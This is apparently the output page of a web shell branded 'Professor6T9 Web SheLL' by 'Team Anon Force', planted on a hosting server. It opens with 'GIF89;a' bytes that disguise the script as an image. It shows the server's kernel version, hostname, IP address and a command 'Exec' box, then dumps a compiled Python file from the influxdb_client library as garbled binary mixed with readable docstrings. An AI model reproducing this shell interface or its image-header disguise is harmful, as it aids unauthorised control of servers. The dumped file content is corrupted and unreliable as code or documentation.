GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
domain
/
__pycache__
[ HOME ]
Exec
Submit
dbrp_create.cpython-38.pyc
U ܒi5 � @ s( d Z ddlZddlZG dd� de�ZdS )a InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech � Nc @ s e Zd ZdZddddddd�Zddddd d d�Zd*dd �Zedd� �Zej dd� �Zedd� �Z e j dd� �Z edd� �Zej dd� �Zedd� �Zej dd� �Zedd� �Z e j dd� �Z edd� �Zej dd� �Zd d!� Zd"d#� Zd$d%� Zd&d'� Zd(d)� ZdS )+� DBRPCreatez�NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. �str�bool)�org�org_id� bucket_id�database�retention_policy�defaultr ZorgIDZbucketIDr r r Nc C sj d| _ d| _d| _d| _d| _d| _d| _|dk r8|| _|dk rF|| _|| _ || _ || _|dk rf|| _dS )z(DBRPCreate - a model defined in OpenAPI.N) �_org�_org_id� _bucket_id� _database�_retention_policy�_defaultZ discriminatorr r r r r r )�selfr r r r r r � r �S/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/domain/dbrp_create.py�__init__2 s zDBRPCreate.__init__c C s | j S )a Get the org of this DBRPCreate. An organization name. Identifies the [organization](https://docs.influxdata.com/influxdb/latest/reference/glossary/#organization) that owns the mapping. :return: The org of this DBRPCreate. :rtype: str �r �r r r r r F s zDBRPCreate.orgc C s || _ dS )a Set the org of this DBRPCreate. An organization name. Identifies the [organization](https://docs.influxdata.com/influxdb/latest/reference/glossary/#organization) that owns the mapping. :param org: The org of this DBRPCreate. :type: str Nr )r r r r r r Q s c C s | j S )a Get the org_id of this DBRPCreate. An organization ID. Identifies the [organization](https://docs.influxdata.com/influxdb/latest/reference/glossary/#organization) that owns the mapping. :return: The org_id of this DBRPCreate. :rtype: str �r r r r r r \ s zDBRPCreate.org_idc C s || _ dS )a Set the org_id of this DBRPCreate. An organization ID. Identifies the [organization](https://docs.influxdata.com/influxdb/latest/reference/glossary/#organization) that owns the mapping. :param org_id: The org_id of this DBRPCreate. :type: str Nr )r r r r r r g s c C s | j S )z�Get the bucket_id of this DBRPCreate. A bucket ID. Identifies the bucket used as the target for the translation. :return: The bucket_id of this DBRPCreate. :rtype: str )r r r r r r r s zDBRPCreate.bucket_idc C s |dkrt d��|| _dS )z�Set the bucket_id of this DBRPCreate. A bucket ID. Identifies the bucket used as the target for the translation. :param bucket_id: The bucket_id of this DBRPCreate. :type: str Nz1Invalid value for `bucket_id`, must not be `None`)� ValueErrorr )r r r r r r } s c C s | j S )z�Get the database of this DBRPCreate. A database name. Identifies the InfluxDB v1 database. :return: The database of this DBRPCreate. :rtype: str )r r r r r r � s zDBRPCreate.databasec C s |dkrt d��|| _dS )z�Set the database of this DBRPCreate. A database name. Identifies the InfluxDB v1 database. :param database: The database of this DBRPCreate. :type: str Nz0Invalid value for `database`, must not be `None`)r r )r r r r r r � s c C s | j S )a/ Get the retention_policy of this DBRPCreate. A [retention policy](https://docs.influxdata.com/influxdb/v1.8/concepts/glossary/#retention-policy-rp) name. Identifies the InfluxDB v1 retention policy mapping. :return: The retention_policy of this DBRPCreate. :rtype: str )r r r r r r � s zDBRPCreate.retention_policyc C s |dkrt d��|| _dS )a> Set the retention_policy of this DBRPCreate. A [retention policy](https://docs.influxdata.com/influxdb/v1.8/concepts/glossary/#retention-policy-rp) name. Identifies the InfluxDB v1 retention policy mapping. :param retention_policy: The retention_policy of this DBRPCreate. :type: str Nz8Invalid value for `retention_policy`, must not be `None`)r r )r r r r r r � s c C s | j S )a Get the default of this DBRPCreate. Set to `true` to use this DBRP mapping as the default retention policy for the database (specified by the `database` property's value). :return: The default of this DBRPCreate. :rtype: bool �r r r r r r � s zDBRPCreate.defaultc C s || _ dS )a Set the default of this DBRPCreate. Set to `true` to use this DBRP mapping as the default retention policy for the database (specified by the `database` property's value). :param default: The default of this DBRPCreate. :type: bool Nr )r r r r r r � s c C s� i }| j �� D ]z\}}t| |�}t|t�rBttdd� |��||<